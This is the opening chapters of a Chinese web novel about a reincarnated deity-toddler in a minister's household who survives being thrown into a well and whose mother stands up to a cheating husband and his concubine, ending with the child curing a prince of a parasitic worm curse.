《奶凶福宝一抱抱,全朝气运爆爆爆》
第1章 说好的好人家呢?
寒冬腊月的都城,大雪纷飞。
礼部侍郎许府西侧最偏僻的柴房后巷。
一个瘦弱婆子抱着襁褓,左右张望后,迅速将怀中小儿扔进结了冰的枯井里。
“别怪我心狠。”婆子压低声音,眼底闪过一丝不忍,“要怪就怪你投错了胎,碍了别人的眼。”
襁褓里,一岁半的许呦呦,小脸冻得青紫,额头血迹已凝成冰碴。
“嘶——痛痛!”
她捂着小脑瓜,脑子里还是天上那群老东西“忽悠”她的画面。
“呦呦,天地之间,还有一个凡间,那儿可好玩了,有糖人、小零嘴儿。
“重点是,还有很多你喜欢的帅哥哥……””
“这样,本君现在就给你挑个好人家,富贵荣华,父母慈爱……”
然后,她就哗啦啦地被推进了轮回境……
哼,泥们……
泥们,要屎呀!!
说好的好人家呢?
富贵荣华呢?
父母慈爱呢?
就这??
“骗纸!大骗纸!”她咧开冻得发紫的小嘴,奶凶奶凶地指向黑天,“泥们……狗东西……给窝……等着!!”
“轰隆——!”
像是回应她的话一般,一道刺眼的白光撕裂夜空,惊雷紧跟着劈下来,震耳欲聋。
“你敢,凶窝?”小奶包“噌”地爬起来,也不管头上渗血的鼓包,两只小脚丫稳稳踩在丝滑的冰碴上,小胖手往腰上一叉,仰起伤痕累累的小脸,气急败坏地吼:“滚!!!”
那来势汹汹的闪电,忽然噼里啪啦乱闪,好像在哆嗦。
下一瞬,它“咻”地缩了回去,连带天边那块乌云,慌慌张张飘走了。
四周一下子静得吓人,只有北风吹过的“呜呜”声。
哼,让你凶窝!!
许呦呦还保持着气鼓鼓叉腰的姿势,小胸脯一起一伏。
她摸摸额头上撞出来的大包包,疼得“嘶哈斯哈”。
随即,出现好多乱糟糟的画面,一股属于原主的记忆,一下子涌入脑海。
原来,原主也叫许呦呦,今年一岁半。
她娘就是个揣着钱袋子的傻小姐,早年被仇家追杀,却被一个饿肚子的穷书生救了。
穷书生由此吃上了小姐的馒头,却又惦记上人家的金库,甜言蜜语骗来当娘子。
等靠着小姐的钱当了官,马上翻脸嫌弃“商户出身”,转头就接回“真爱的”姨娘和“更贴心”的女儿。
最后呀,那原配和她的崽,没一个好下场的……
小奶包眨眨眼,忽然觉得这故事……怎么这么眼熟?
这她娘的,不是就司命经常给她讲的睡前故事——“书生变脸纳美妾”嘛?
等等!
许呦呦猛地低头看看自己冻紫的小手——哎呀!她这不就是那个最后被扔进井里的“倒霉崽”嘛!
呵!
许呦呦咬牙切齿怒望苍天:
“泥们……等着……”
“等窝……回去……算账……”
正想着,远处突然传来焦急的呼唤声:
“呦呦——我的呦呦啊——你在哪儿——”
“小姐——小姐——”
声音由远及近,夹杂着女子撕心裂肺的哭喊和众人匆忙的脚步声。
许呦呦眼睛一亮,是她娘耶!
她挥动小手,努力大喊:“凉亲!凉亲!呦呦,这里!”
另一边,杨婉云几乎要疯了。
她带着十几个丫鬟小厮,府里上上下下已经找了一个时辰了。
因为今日无人出府,所以她料定,呦呦定在府中。
听着寒风阵阵,寒意刺骨,她的心一点点沉下去。
昨日看到呦呦额头带血回来,身边丫鬟说是许娇娇推的。
她去找许振山理论,那男人却轻描淡写:“孩童玩闹,何必小题大做?”
李莲茵在一旁娇笑:“姐姐也太紧张了,娇娇才三岁,能有多大劲儿?许是呦呦自己没站稳呢。”
她忍了。
想着多一事不如少一事。
可回来后,她的呦呦竟然不见了!
“若是我的呦呦有个三长两短……”杨婉云咬着牙,美目中满是血丝,“许振山,我要你们偿命!”
只怪自己识人不清。
当年父亲明明已经提醒许振山此人心术不正,她还不信,以为他是寒门才子,自有傲骨。
这些年,她殚精竭虑,用尽嫁妆为他打点,助他仕途顺遂。
可他是怎么回报她的?
带回外室李莲茵和私生女许娇娇,因着外室是伯府庶女,美其名曰“官家女”,便抬为平妻,任由那对母女欺凌她们母女。
那老夫人更是偏心,觉得李莲茵是伯府贵女,身份尊贵,而她出身商贾,身份卑微,处处磋磨她,许振山却装聋作哑。
甚至连小小的庶女,都敢对呦呦出手,将呦呦推下假山,还扬言要她们母女去死。
为了呦呦,她一再忍让,只想着家和万事兴。
可今日,呦呦的失踪,已然击溃她最后的隐忍。
“夫人!您听!是不是小姐的声音?”身边的刘嬷嬷突然激动地喊道。
杨婉云思绪回笼,屏住呼吸,果然听到一个奶声奶气的呼唤:
“凉亲,呦呦,这里……”
“是呦呦!是呦呦啊!”杨婉云眼泪夺眶而出,提着裙摆就朝声音方向奔去。
穿过柴房,一口枯井断壁残垣,里面却传来婴孩稚嫩的呼救声。
杨氏心痛到窒息,赶紧命人将许呦呦救上来。
她一把将女儿紧紧搂在怀里,眼泪不可抑制:“呦呦,娘的乖宝儿,你吓死娘了……”
许呦呦感受到娘亲温暖的怀抱和剧烈的心跳,心里涌起一股陌生的暖流。
这是原主残留的情感,也是她四万多年来从未体验过的——母亲的疼爱。
暖暖的,还有点想哭……
许呦呦伸出小手,笨拙地擦着杨婉云的眼泪:“凉亲,不哭,呦呦,呼呼……”
“夫人,咱们要不要报官?”身旁的刘嬷嬷问道。
“报官?”杨婉云冷笑,“许振山现在可是礼部侍郎,官官相护,能查出什么?更何况,家丑不可外扬,他定会压下来。”
她低头看着怀里乖巧的女儿,眼中闪过决绝:“但这件事,不会就这么算了。”
“呦呦,”她轻声问,“怕不怕?”
许呦呦摇摇头,搂着娘亲的脖子:“凉亲,不怕。”
其实她心里正盘算着怎么用兜兜里的宝贝收拾那些坏人呢。
紫金葫芦能不能把坏人吸进去?
避水珠能不能让他们掉水里?
红线团……嗯,可以把坏人都绑在一起当粽子玩!
不过看着娘亲这么生气,许呦呦觉得,也许可以先让娘亲出出气。
第2章 大小姐落水了
杨婉云抱着女儿往凝香院走去。
一路上,她紧紧将许呦呦抱在怀中,一言不发,内心翻江倒海,面上却坚定无比。
门房见夫人抱着小姐回来,连忙上前:“夫人,您可回来了,老爷刚才还问……”
“问什么?”杨婉云冷冷打断,“问他女儿死了没有?”
门房吓得不敢说话。
杨婉云径直走进院子,对刘嬷嬷道:“嬷嬷,把院门关上,没有我的允许,谁也不准进。”
“是!”
进了屋,杨婉云亲自给女儿清洗伤口、换药、换衣裳。
看着女儿额头上那道狰狞的伤口,她的心像被刀割一样。
“呦呦,从今往后,娘不会再忍了。”杨婉云摸着女儿的小脸,“谁欺负你,娘就欺负回去十倍。”
哇哦,这娘终于清醒了,不当恋爱脑了呀!!
许呦呦竖起小拳头:“凉亲……打架,呦呦……厉害!”
杨婉云被女儿逗得露出一丝笑意,但随即又沉下脸:“打架,太便宜他们了。”
她招手让刘嬷嬷近前,压低声音说了几句话。
刘嬷嬷先是一惊,随即重重点头:“夫人放心,老奴一定办得干净利落。”
“记住,要让她也尝尝,骨肉被害是什么滋味。”杨婉云眼中寒光凛冽。
许呦呦竖起小耳朵听着,心里拍手叫好。
看来只要没了恋爱脑,拔剑的速度都比翻脸都快!
此时,许府西院的“莲心苑”里,李莲茵正对镜梳妆,丫鬟柳儿正给她簪花。
“那小贱种,该冻死了吧?”李莲茵轻笑,“柴房后巷那枯井,夜里冰寒,一个一岁多病儿,撑不过一个时辰。”
柳儿谄媚道:“夫人放心,等那丫头一死,夫人必定崩溃,老爷一心想着您,想必扶正指日可待。”
正说着,外头传来小丫鬟的惊呼:“不好啦!二小姐落水了!”
李莲茵手中玉簪“啪”地落地:“什……什么?”
她慌忙起身,赶到荷花池边时,正看见几个婆子手忙脚乱地把许娇娇从冰水里拖上来。
孩子浑身湿透,小脸冻得发青,嘴唇乌紫,已经呛得说不出话,只会微弱地咳嗽。
“娇娇!我的娇娇!”李莲茵扑过去,触手一片刺骨的冰凉,让她心都揪紧了。
她目光如刀般扫向周围的下人:“你们是怎么看护的?!这么冷的天,竟让小姐落水!”
丫鬟跪地哭道:“夫人明鉴!奴婢就转身拿个手炉的工夫,二小姐就不见了……再找到时,已经、已经在水里了……”
“拖出去,五十大板!!”李莲茵牙呲目裂,随即焦急慌乱地将许娇娇抱回院中。
这一夜,整个莲心苑,兵荒马乱……
而凝香苑,却一夜好梦,安静平和。
次日一早。
杨婉云正给许呦呦换额头上的药,小丫头疼得“嘶嘶”抽气,却还伸出小手去摸娘亲的脸:“凉亲,笑笑……”
杨婉云心头又暖又瑟,手下的动作却更轻了。
就在这时,院外传来压抑的哭声,由远及近。
“夫人……”刘嬷嬷匆匆进来,欲言又止。
话音未落,房门被“哐”地推开。
李莲茵一身素白中衣闯了进来,发髻散乱,脸上毫无血色。
她看见杨婉云,直挺挺跪下,“咚”的一声重重磕在地上:
“姐姐!求您发发慈悲!救救娇娇!”
她抬起头时,额上已是一片青紫,却在看见杨婉云怀里那个粉雕玉琢的小人儿时,整个人僵住了。
许呦呦正歪着小脑袋看她,眼睛又圆又亮,额头上虽包着纱布,但小脸红润,哪像在冰窟里冻了一夜的孩子?
“你……你怎么……”李莲茵声音发颤。
杨婉云将女儿往怀里拢了拢,声音平静:“怎么还没死,是吗?”
“不……不,妾身不是这个意思!”李莲茵慌忙摇头,“大小姐吉人自有天相,定会平安顺遂。”
她抬起头时,额上已是一片青紫,哽咽道,“姐姐,娇娇昨夜落水,现下烧得浑身滚烫,不断抽搐。”
“府医说,若不请擅长儿科的太医施针,怕是、怕是……”
“怕是死了?”杨婉云接过话,语气平淡得像在说今日吃什么,“那真是可惜了。”
李莲茵猛地抬头,难以置信:“姐姐?娇娇也是老爷的骨肉啊!”
“老爷的骨肉,与我何干?”杨婉云拿起帕子给女儿擦手。
李莲茵脸色煞白,还要再说,门外已传来急促的脚步声。
“怎么回事?”许振山掀帘进来,肩上还落着雪。
昨夜他被紧急叫去衙门处理一桩棘手的礼制疏漏,折腾到天明才得以回府,刚踏进家门,就听到了府中出事的消息。
此时,看见李莲茵跪在地上磕得额头红肿,他心头火起,一把将人扶起,转头怒视杨婉云:“杨氏!你还有没有心?莲茵都跪下来求你了,你就这般铁石心肠?”
杨婉云抬眸看他,眼神平静无波。
这平静让许振山心头一凛,从前他这般动怒,她早该红了眼眶,或解释或哀求,绝不会是现在这副模样。
“老爷说笑了。”杨婉云慢条斯理地将许呦呦抱到腿上,“我一个内宅妇人,能有什么办法?太医岂是随便能请的?”
“你怎么没办法?”许振山气得手指发颤,“五皇子对呦呦另眼相看!你……”
“哦?”杨婉云打断他,唇角勾起一丝极淡的弧度,“那昨日呦呦高烧昏迷怎么不记得五皇子对她另眼相看?”
许振山喉头一哽。
李莲茵见状,又“扑通”跪下,哭得撕心裂肺:“姐姐!千错万错都是妾身的错!您要打要罚都冲着妾身来!但娇娇是无辜的啊!她才三岁,她什么都不知道……”
许呦呦:“哦吼,会……演。”
哎,本宝宝要是有这演技,四海八荒还有什么不是窝的!
第3章 太医,我不会请
“三岁?”杨婉云看向她,“三岁就知道把人往假山上推,知道推完了还笑。二夫人教得真好。”
“那只是孩童玩闹……”李莲茵急道。
杨婉云讽刺一笑,忽然看向许振山,“那今日许娇娇落水,想必也只是‘孩童玩闹,不小心失足’,何必大惊小怪?”
许振山脸涨得通红,胸口剧烈起伏:“杨婉云!你非要这般咄咄逼人吗?娇娇若是死了,你就高兴了?”
看吧,巴掌打在心尖上的人身上,就知道疼了。
杨婉云一步一步走近,在离许振山三步远处停下:
“高兴?昨日我的女儿生死未卜时,老爷高不高兴?”
“在莲心苑听曲儿时,可曾想过凝香院里还有个孩子在发高烧?可曾想过她额头上的伤是谁弄的?”
每问一句,许振山脸色就白一分。
他张了张嘴,却发不出声音。
“老爷现在知道着急了?”杨婉云的声音很轻,却字字如刀,“知道孩子病了要找太医了?那昨日我求你去找呦呦时,你怎么说的?你说——”
她顿了顿,学着他昨日的语气,漫不经心:
“‘许是她自己躲哪儿玩去了,大惊小怪什么。’”
许振山踉跄后退一步,扶住了桌沿。
他看着眼前这个女人——这个他曾以为温顺如水、永远会等他回头的女人,此刻眼神冷得像腊月的冰。
他抬眸看了一眼许呦呦,这才真正看清女儿额头的伤——纱布边缘还能看见狰狞的青紫。
“我……”许振山喉结滚动,半晌才哑声道,“梦舒,昨日是我不对。但娇娇毕竟……”
“毕竟什么?”杨婉云打断他,眼中最后一点光也熄灭了,“毕竟是你心爱之人的女儿?毕竟会撒娇会讨你欢心?许振山,我今日就把话放在这儿——”
她抱紧女儿,背脊挺得笔直:
“这个太医,我不会请。你女儿是死是活,与我无关。”
“杨婉云!”许振山怒吼,“你就是这样做当家主母的?简直就是毒妇!”
“当家主母?”杨婉云忽然笑出声,笑声里满是讽刺,“许振山,你真当我在乎这个位置?”
她将怀里的呦呦往上托了托,眼神锐利如刀:“既然李氏为平妻,老爷爷口口声声尊她为‘妻’,那正好——从今日起,这府中中馈就交给她吧。毕竟,平妻也是妻,理应为老爷分忧,不是吗?”
李莲茵猛地抬头,眼中闪过慌乱:“姐姐,这怎么使得……”
“怎么使不得?”杨婉云截断她的话,唇边笑意冰冷,“你可是伯府贵女,若是连府中庶务都料理不清,如何教养女儿?”
“还是说,二夫人只擅长在男人面前哭,旁的什么都不会?”
许呦呦晃动着圆乎乎的大拇指:“凉亲,威……武……”
许振山气得浑身发抖:“杨婉云!你简直不可理喻!”
杨婉云懒得再给他一个眼神,冲李嬷嬷点头,“嬷嬷,把对牌钥匙给李氏,顺便记得把账目理清楚。这些年亏空了多少,吞了多少,可要一笔笔算明白——免得将来有人说我当家时不干净。”
李莲茵脸色惨白如纸。
许振山正要发作,一个小小的奶音突然响起:“爹爹……坏坏,呦呦……换爹爹!”
这话一出,满室皆惊。
杨婉云怔了怔,随即竟真的从袖中取出一纸文书,展开放在桌上:“也好,许振山,签了吧。”
竟是一封和离书。
许振山瞳孔骤缩,猛地冲上前:“和离?你疯了吗?我绝不同意!”
“为何不同意?”杨婉云平静地看着他,“你不是觉得我毒妇吗?不是觉得二夫人温婉可人吗?我成全你们。”
“你休想!”许振山咬牙切齿,“杨婉云,你生是我许家的人,死是我许家的鬼!就算你我百年后,也是要合葬祖坟,生生世世都是夫妻!”
这话说得狠绝,李莲茵眼中却闪过一丝阴鸷。
许呦呦歪着小脑袋,眨巴眨巴眼睛,突然奶声奶气地说:“祖坟……没啦,凉亲……不埋。”
她说着,小胖手轻轻一勾——远在千里之外的许家祖坟上空,一朵小乌云悄悄凝聚。
就在这时,院外传来一阵清脆急促的童音:
“呦呦!呦呦妹妹!”
话音未落,一个约莫五岁的男童已跑了进来。
他身着宝蓝色锦缎小袄,头戴玉冠,面如冠玉,眉眼间已有几分皇家贵气,正是中宫皇后所出的五皇子萧景珩。
因他总是梦魇难捱,皇后曾请高僧批命,说需得寻一位“福泽深厚、命格清奇”的孩童相伴方能康健。
一年前在宫中春宴上,五皇子一眼看见随母进宫的许呦呦,便拉着不放,连陛下都笑称“这是天定的缘分”。
“参见殿下!”许振山慌忙跪地行礼。
萧景珩却看都没看他,径直跑到杨婉云面前,仰着小脸焦急地问:“许夫人,听说呦呦妹妹昨日不见了,可找到了?”
他这才看见杨婉云怀里的许呦呦,见她额上包着纱布,小脸一皱:“呦呦受伤了?”
许呦呦看见萧景珩,眼睛一亮,张开小胳膊:“得得……抱!”
萧景珩连忙踮起脚,努力伸手去接她。
杨婉云便蹲下身,让他能看清呦呦。
“得得……”许呦呦小嘴一瘪,眼泪说来就来,“坏坏……井里……痛痛。”
她说话还不利索,但关键词一个没落,边说边用小手指着自己胳膊上和额头上的青紫。
萧景珩的小脸瞬间沉了下来。
他虽然只有五岁,但自幼长在宫中,见识过不少阴私。
此刻他紧抿着唇,小拳头握得滋滋作响,满眼寒凉地看着许振山,童音虽稚嫩,却带着与生俱来的威仪:
“许大人,贵府的下人,敢把嫡小姐扔进枯井里?”
许振山冷汗涔涔:“殿下恕罪,是下官治家不严……”
“既知不严,为何不查?”萧景珩打断他,小手握成拳头,“本殿下回宫就禀告父皇,让父皇派侍卫来查!敢欺负呦呦妹妹——定把他碎尸万段!”
李莲茵腿一软,差点摔倒。
第4章 无非就是妾而已
杨婉云适时开口,语气平静:“殿下息怒,是妾身管教不严。好在呦呦已经寻回,便不劳殿下费心了。”
她依旧没说凶手是谁,但“管教不严”四字,已让许振山面无血色。
“殿下!”
李莲茵突然凄声开口,跪行两步,“求殿下垂怜!妾身的女儿娇娇落水高热,危在旦夕,求殿下开恩,请宫中太医救她一命!她也是许家骨血啊!”
萧景珩抱着呦呦转过身,小脸上满是不悦:“你是何人?”
“妾身……妾身是府中平妻……”
“平妻?”萧景珩声音稚嫩,语气却极冷,“无非就是妾而已,既是妾室,怎可僭越主母之权,妄求太医?”
李莲茵被怼得脸色煞白,慌忙看向许振山。
许振山硬着头皮上前:“殿下,莲茵也是爱女心切……”
“爱女心切?”萧景珩打断他,“那怎不见许大人求本殿,为呦呦寻求太医?”
他怀里的许呦呦适时地抖了抖,小脸埋在萧景珩肩上,怯怯地瞥了许振山一眼,又赶紧缩回去。
萧景珩立刻察觉,护紧了她,对许振山冷声道:“许大人,你吓着呦呦了。”
“下官不敢……”
萧景珩抱着呦呦走到杨婉云身边,“许夫人,呦呦平安就好,改日本殿下再来探望呦呦。”
他顿了顿,又补充道:“对了,母后说了,若是呦呦在府中住得不开心,随时可接进宫小住。许夫人若愿意,也可一同进宫陪住些时日。”
这话分量太重了。
许振山脸色大变:“殿下,这于礼不合……”
“礼?”萧景珩歪头看他,“许大人现在知道讲礼了?那嫡女受伤,被扔进枯井时,礼在何处?”
许振山跪在地上,颤颤巍巍,却又无力辩驳。
萧景珩不再理会许振山难看的脸色,上前抱了抱许呦呦,便转身离开。
毕竟是人家后宅之事,他身为皇子,不好贸然插手,警告到位,想必也能震慑一番。
随即便在宫人簇拥下,离开了。
直到萧景珩完全离开后,许振山猛地转身,盯着杨婉云,眼中怒火翻涌:“你满意了?让五皇子这般羞辱我!”
“杨婉云!”许振山咬牙切齿,“我告诉你,和离之事,你想都别想!你这辈子,生是我许家的人,死——”
“滚!”杨婉云抱着呦呦,声音平静无波,“带着你的人,滚出我的院子。”
许呦呦拍着小手:“该!!!”
许振山气得浑身发抖,指着她半天说不出话,最后狠狠一甩袖,拽着李莲茵走了。
李莲茵被拽得踉跄,回头看了一眼杨婉云,眼中满是怨毒。
和离?还不愿意?
哼,等着休妻吧!
这一夜,莲心苑里哭声不断。
许娇娇烧得浑身滚烫,小脸通红,连水都喂不进去了。
李莲茵跪在床边,一遍遍给她擦身,眼泪都快流干了。
“姨娘……不如去求求老夫人?”柳儿小声提议。
李莲茵眼睛一亮。
对,老夫人!老夫人最疼娇娇了,若是知道娇娇病成这样,定会想办法!
寿安堂里,老夫人刚念完早经。
她年逾五十,保养得宜,头发梳得一丝不苟,深紫色锦袄上绣着万字纹,通身都是官家老太太的派头。
“你说什么?”老夫人听完李莲茵的哭诉,手中茶盏重重搁在桌上,“娇娇病成这样,杨氏竟不肯请太医?”
“姐姐说……说娇娇是庶出,不配请太医……”李莲茵跪在地上,哭得梨花带雨。
“放肆!”老夫人猛地站起,“庶出怎么了?庶出也是振山的骨血!她杨氏不过商贾出身,也敢轻贱我许家的孩子?”
她想了想,沉声道:“去,把杨氏叫来。”
凝香院里,杨婉云正在给呦呦试新衣裳。
小丫头穿着粉嫩嫩的小袄,头上扎着两个小揪揪,对着铜镜左看右看,奶声奶气:“凉亲……美……”
“是呦呦漂亮。”杨婉云笑着给她整理衣领。
这时,刘嬷嬷匆匆进来:“夫人,老夫人派人来请,说是有要事相商。”
杨婉云动作一顿:“可说了是什么事?”
“没说,但……来的是老夫人身边的王嬷嬷,脸色不大好看。”
杨婉云心中有数了。
老东西定是因着许娇娇的事,若是不去,她定要拿忤逆不孝做文章。
去了也好,正好当着这“无脸男”一家子的面,把话说清楚。
杨婉云轻柔地给呦呦穿好衣裳,抱起她:“那就去看看吧。”
寿安堂里,气氛肃穆。
老夫人端坐主位,李莲茵立在一旁。
见杨婉云抱着孩子进来,老夫人眉头一皱:“把孩子放下,成何体统。”
杨婉云却抱着呦呦福了福身:“母亲恕罪,呦呦离不得人。”
“离不得人就交给奶娘!”老夫人声音严厉,“今日叫你来,是说正事。”
杨婉云只得将呦呦交给刘嬷嬷,自己在下首坐下。
“杨氏,”老夫人开门见山,“我听莲茵说,娇娇病重,你不肯请太医?”
“是。”杨婉云坦然承认。
“你!”老夫人气得一拍桌子,“娇娇是许家的孩子,你身为当家主母,竟如此狠心?”
“母亲这话错了。”杨婉云抬眼,“许娇娇是许家的孩子不假,但她的生母是二夫人。子女生病,自有生母照料,何须我越俎代庖?”
“你……”老夫人被噎了一下,随即怒道,“那你就眼睁睁看着她死?”
“怎么会?”杨婉云笑了,“李氏不是掌着家吗?公中的银子,她可以随意支取。要请大夫还是请太医,她自己决定便是。”
李莲茵脸色一白。
公中哪还有银子?账上的亏空都还没补上呢!
第5章 把旧账算一算
李莲茵忍不住开口:“夫人,你这是强人所难!公中……”
“公中怎么了?”杨婉云打断他,“老爷不是一向对你赞不绝口吗?”
老夫人终于听明白了——杨婉云这是在拿管家权做文章。
她深吸一口气,压下怒火:“杨氏,过去的事暂且不提。今日我让你来,是要你做主母该做的事——去请太医,给娇娇诊治。”
“若我不去呢?”杨婉云反问。
“你敢!”老夫人厉声道,“我是你婆母,是你的长辈!我让你去,你就得去!”
“母亲这是要以孝道压我?”杨婉云缓缓站起,“那好,儿媳倒要问问——婆母命儿媳以权谋私,为庶女请太医,这算不算以孝逼媳,枉顾法度?”
老夫人愣住了。
“太医乃宫中御用,庶女若无诰命主母递牌子,本就不合规矩。”杨婉云声音平静,“母亲要我违制请太医,若传出去,老爷这礼部侍郎还做不做?许家的脸面还要不要?”
句句在理,字字诛心。
老夫人脸色变了又变,最后咬牙道:“那你就忍心看着娇娇死?”
“许娇娇会不会死,我不知道。”杨婉云看着老夫人,眼中最后一丝温度也消失了,“但我知道,昨日我的呦呦被扔进枯井时,母亲不闻不问。今日二夫人的女儿病了,母亲倒知道着急了。”
这话太直白,太尖锐。
老夫人气得浑身发抖:“你、你放肆!”
“儿媳只是实话实说。”杨婉云福身,“若母亲没别的事,儿媳告退了。”
她说完,转身从刘嬷嬷怀里接过呦呦,准备离开。
堂内死寂。
老夫人豁然起身,气手指颤抖:“站住,反了……真是反了天了!”
许呦呦:“好好好……反!!”
杨婉云嘴角微微一勾,抱紧怀中的许呦呦,头也不回地离开了寿安堂。
李莲茵连忙上前:“母亲息怒……”
老夫人气得牙呲目裂,“孽障!连我这个婆母都不放在眼里了!”
她喘了几口气,忽然道:“去,把库房钥匙拿来。”
李莲茵一愣:“母亲?”
“既然杨氏不管,那就我来管!”老夫人眼中闪过一丝狠色,“许府还轮不到她一个商贾之女说了算!”
窗外,雪又开始下了。
杨婉云抱着呦呦从寿安堂出来,雪已停了,天色青白。
“夫人……”刘嬷嬷跟在她身后,欲言又止。
“嬷嬷,回去后传我的话。”杨婉云声音平静,“从今日起,凡是我娘家送来的东西,全部入库封存,一粒米、一寸布都不许流到东院以外。”
刘嬷嬷心头一颤:“夫人,这是要……断供?”
“他们不是有本事吗?”杨婉云唇角勾起一丝冷笑,“李氏掌着家,老夫人要亲自管库房,那就让她们管去……”
回到凝香院,杨婉云刚把呦呦安顿好,院门就被“砰”地推开了。
许振山怒气冲冲闯进来:“杨婉云!你今日在母亲面前说的那些话,是什么意思?”
“字面意思。”杨婉云头也不抬,继续给呦呦喂着果泥。
“你!”许振山气得胸口起伏,“那是你婆母!你就这般让她颜面扫地?”
杨婉云终于抬眼看他:“老爷现在知道要颜面了?昨日二夫人在五皇子面前哭求时,你怎么不想想许府的颜面?”
许振山被噎得说不出话,半晌才放软语气:“梦舒,我知道昨日是我不对。但娇娇毕竟是孩子,你……你就不能帮帮她?”
杨婉云放下梳子,斜睨着许振山。
许振山心头一跳,成婚数载,他竟然在她脸上,看到一丝……厌恶!
不,不会的,梦舒一直对他百依百顺,百般迁就。
定是昨日呦呦的事让他伤了心。
思及此,又想到自己的来意,随即深情款款地拉起杨婉云的手。
“梦舒,为夫昨日确实愧对呦呦,你放心,以后为夫定会多多补偿你们母女。”
“补偿?”杨婉云一脸嫌恶地将手抽了出来,眉眼间竟是不屑。
许振山一怔,“对,你先借我五百两,我去打点关系,等娇娇醒来后,我便搬来你院中住。”
杨婉云忽然笑了。
那笑容很淡,却让许振山心头一紧。
“老爷要借银子?”她慢条斯理地从妆匣里取出一本账册,“可以,不过在这之前,咱们先把旧账算一算。”
她翻开账册,一页页念:“永昌十二年,老爷打点吏部,借走三千两。永昌十三年,老夫人做寿,从公中支取八百两。永昌十四年,二夫人说要贴补娘家,拿走五百两……”
每念一笔,许振山的脸色就白一分。
“这些年林林总总,老爷从我这里借走、拿走的,一共是八千六百两。”杨婉云合上账册,“老爷要借五百两可以,先把这八千六百两还了。”
“你!”许振山瞪大眼睛,“我们是夫妻!那些银子……”
“那些银子是我的嫁妆。”杨婉云打断他,“夫妻?你护着李氏她们时,可曾想过我才是你的妻?”
许振山嘴唇哆嗦着,半晌才挤出一句:“杨婉云,你……你怎变得如此自私自利?”
“怎么?”杨婉云站起身,直视着他,“我把钱拿出来,才显得大公无私?”
她走到他面前,声音很轻,却字字清晰:“你若还想维持这个家的体面,就管好你的至爱,管好你的母亲。否则——”
她顿了顿:“我不介意让全京城都知道,礼部侍郎许大人,是靠妻子的嫁妆过活的。”
许振山踉跄后退,脸色惨白如纸。
他深深看了一眼杨婉云,转身甩袖而去。
第6章 可恶,臭虫子
第二日,许振山还是请来了太医。
不知是求了哪位同僚,花了多少银子,总之太医是来了。
许娇娇的命保住了,却落下了病根——肺疾,往后每逢换季便要咳喘。
莲心苑里终日飘着药味,李莲茵跟着也憔悴了不少。
而东院的用度,肉眼可见地缩减了。
老夫人虽接管了库房,可库里哪有银子?
不过三日,各院的伙食就从四菜一汤变成了两菜一汤,下人们的月例也发不出了。
就在这当口,宫里的旨意来了。
“奉皇后娘娘懿旨,宣礼部侍郎夫人杨氏携嫡女许呦呦即刻入宫——”
传旨太监声音尖细,许府上下跪了一地。
杨婉云抱着呦呦接旨,心中已猜到七八分——定是五皇子又梦魇了。
于是稍作整理,便带着呦呦进宫。
“杨氏,你虽为商户女,但是我许家妻,进宫后需谨言慎行,切不可像近日这般,毫无规矩。”
“若是因你言行无状,连累许家,我定会让振山休了你!!”
老夫人站在门口,看着即将上马车的杨婉云,一脸愠怒。
杨婉云抱着许呦呦,抬眸轻笑:“母亲既这般担心许家名声,不如先管好府中上下。”
“毕竟,宠妾灭妻、残害嫡女这等丑事若传进宫去……可不是儿媳几句话就能遮掩的。”
说罢,转身带着许呦呦进了马车。
丝毫没有理会,站在风中,睚眦目裂的老太太。
……
凤仪宫里,气氛凝重。
五皇子萧景珩躺在榻上,眉头紧蹙,小脸苍白,额头上全是冷汗。
皇后坐在床边,握着儿子的手,眼圈泛红。
当年生下珩儿,明明十分康健,直到周岁后,却有了梦魇之症。
每次梦魇,珩儿抽搐不止,虚弱无比,俨然生了一场大病。
起初,只是三个月发作一次,后来却愈加频繁。直到一年前,遇到许呦呦后,这一症状才有所缓解。
只是昨日,不知如何,突然间又发作了。
“娘娘,杨夫人到了。”
宫人的声音,打断了皇后的思绪,她连忙起身:“快请。”
杨婉云抱着呦呦进来,刚要行礼,皇后便摆手:“免了,杨夫人,快让呦呦过来。”
许呦呦来到床榻边,定睛一看,漂亮的小脸,瞬间皱了起来。
萧景珩的心口处,一团由无数细小红虫纠缠而成的“伪心”正盘踞着,虫体随血脉搏动一张一缩,贪婪吸食着少年人的精气。
可恶,臭虫子!!
伸出小手碰了碰他的脸:“得得……醒醒……”
与此同时,另一只小手覆在萧景珩的胸口。
下一瞬,萧景珩的身体剧烈一颤,喉间发出痛苦的闷哼,额头青筋暴起。
“噗——”他猛地侧身,一口暗红色的血喷溅在锦被上。
更骇人的是,那滩血污中竟有数条细如发丝、仍在微微扭动的赤红蛊虫!
“珩儿!”皇后失声惊呼,扑到床边紧紧抱住儿子,浑身都在发抖。
张太医连滚带爬地扑到近前,颤抖着手用银镊子挑起一条尚在蠕动的蛊虫细看。
这一看,他脸上血色褪尽,声音发颤:“娘娘,噬、噬心蛊!”
“这是什么?”皇后眼底一片寒凉。
“这,这是南疆秘传的‘噬心蛊’!蛊虫寄生心脉,与宿主共生,日日蚕食精气而不露形迹。”
“中蛊者起初只是多梦体虚,日久则五内渐亏,往往三五年便会……无声无息灯枯油尽,医者却连病因都查不出!”
他猛地跪倒在地,朝着皇后重重磕头:“臣无能!臣学艺不精,竟让殿下受此阴毒之苦数年而不察!臣万死难辞其咎!”
皇后死死盯着锦被上那滩刺目的污血,眼底翻涌着滔天的后怕与震怒。
这分明是一场处心积虑、要她儿子性命的谋杀!
“秋月。”皇后的声音冷得像淬了冰,一字一句从齿缝里迸出来,“清理凤仪宫,在场所有人,今日所见所闻,任何人不得敢泄露半个字!”
她凌厉如刀的目光缓缓扫过殿内每一个瑟瑟发抖的宫人、太医。
最后,落在了被杨婉云紧紧护在怀里的许呦呦身上。
那眼神瞬间冰雪消融,化作了无尽的感激,与柔软到极致的心疼。
这个孩子……果真不一般。
难怪珩儿待她如此不一般。
皇后伸出手,声音哽咽:“好孩子……过来,让本宫看看你。”
若不是呦呦,她的珩儿……怕是要在她眼皮子底下被活活耗死!
这恩情,她记下了!
许呦呦亲昵地抱着皇后的脖子,又伸出小手,指着床上的五皇子,“得得……好……”
“母后,呦呦妹妹……”萧景珩,却在此时,突然睁开眼,声音虽虚弱,但是却十分清明。
皇后看着这一幕,眼泪止不住地流,放下呦呦,紧紧抱着萧景珩。
半晌,皇后才恢复神情。
她拉过杨婉云的手:“杨夫人,本宫不知该如何谢你……”
“娘娘言重了。”杨婉云微微福身,低声道,“是殿下福泽深厚。”
皇后轻柔一笑,她看着榻上两个孩子,轻声道:“杨夫人,本宫知道你府中的事。”
杨婉云心头一震。
